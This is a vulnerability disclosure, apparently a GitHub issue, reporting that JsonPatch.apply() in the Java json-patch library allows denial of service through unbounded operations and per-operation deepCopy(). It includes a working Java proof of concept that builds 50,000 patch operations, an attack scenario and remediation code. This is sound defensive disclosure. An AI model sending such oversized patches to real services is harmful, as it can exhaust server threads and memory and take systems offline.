[Security] Denial of Service via Unbounded Patch Operations and deepCopy in JsonPatch.apply() #167

Security Vulnerability Report

Metadata

Summary

JsonPatch.apply() accepts an unbounded number of patch operations with no limit, timeout, or backpressure mechanism. Each operation internally calls node.deepCopy(), resulting in O(N×M) resource consumption (N = number of operations, M = document size). A single HTTP request containing a large JSON Patch document can exhaust server CPU and memory.

Root Cause

// src/main/java/com/github/fge/jsonpatch/JsonPatch.java:108-113
public JsonNode apply(final JsonNode node) throws JsonPatchException {
    JsonNode ret = node;
    for (final JsonPatchOperation operation : operations) {  // No limit on operations.size()!
        ret = operation.apply(ret);  // Each apply() calls deepCopy() internally
    }
    return ret;
}

There is:

• No maximum number of operations
• No timeout or operation budget
• No backpressure mechanism
• deepCopy() on every operation multiplies memory consumption

Proof of Concept

Runtime verified on VM with OpenJDK 21:

--- Test 4: DoS via Unbounded Patch Operations ---
Applied 50000 operations in 68791ms, result has 50000 fields
VULNERABLE: No limit on number of patch operations accepted

Minimal reproduction:

import com.github.fge.jsonpatch.JsonPatch;
import com.fasterxml.jackson.databind.JsonNode;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.node.ArrayNode;

ObjectMapper mapper = new ObjectMapper();
ArrayNode ops = mapper.createArrayNode();

// Create 50,000 add operations
for (int i = 0; i < 50000; i++) {
    ops.addObject()
        .put("op", "add")
        .put("path", "/field" + i)
        .put("value", "data" + i);
}

JsonPatch patch = JsonPatch.fromJson(ops);
JsonNode target = mapper.createObjectNode();

// This takes 68+ seconds and consumes massive memory
JsonNode result = patch.apply(target);  // 68,791ms!

Attack scenario:

1. Attacker sends a single HTTP request with 50,000+ JSON Patch operations
2. JsonPatch.apply() processes all operations sequentially
3. Each operation calls deepCopy() on the growing document
4. Server thread blocked for 68+ seconds; memory grows quadratically
5. Multiple concurrent requests exhaust thread pool and memory

Impact

• Denial of Service: Single HTTP request blocks a server thread for 68+ seconds
• Memory exhaustion: Each operation copies the entire document; 50,000 ops on a 1KB document = ~50MB+ allocations
• Thread pool exhaustion: 4-8 concurrent malicious requests exhaust typical thread pools
• No authentication required: Any endpoint accepting JSON Patch is vulnerable

Suggested Remediation

1. Add configurable maximum operation count (default e.g. 10,000):

public JsonNode apply(final JsonNode node) throws JsonPatchException {
    if (operations.size() > maxOperations) {
        throw new JsonPatchException("Patch exceeds maximum operation count: " + maxOperations);
    }
    // ... existing logic
}

2. Consider structural sharing instead of deepCopy() per operation — copy-on-write or immutable tree would reduce O(N×M) to O(N+M).

3. Add operation timeout for long-running patches.

References

• RFC 6902 Section 3: "A JSON Patch document is a JSON document that represents an array of objects" — the RFC does not mandate accepting unlimited arrays
• CWE-400: https://cwe.mitre.org/data/definitions/400.html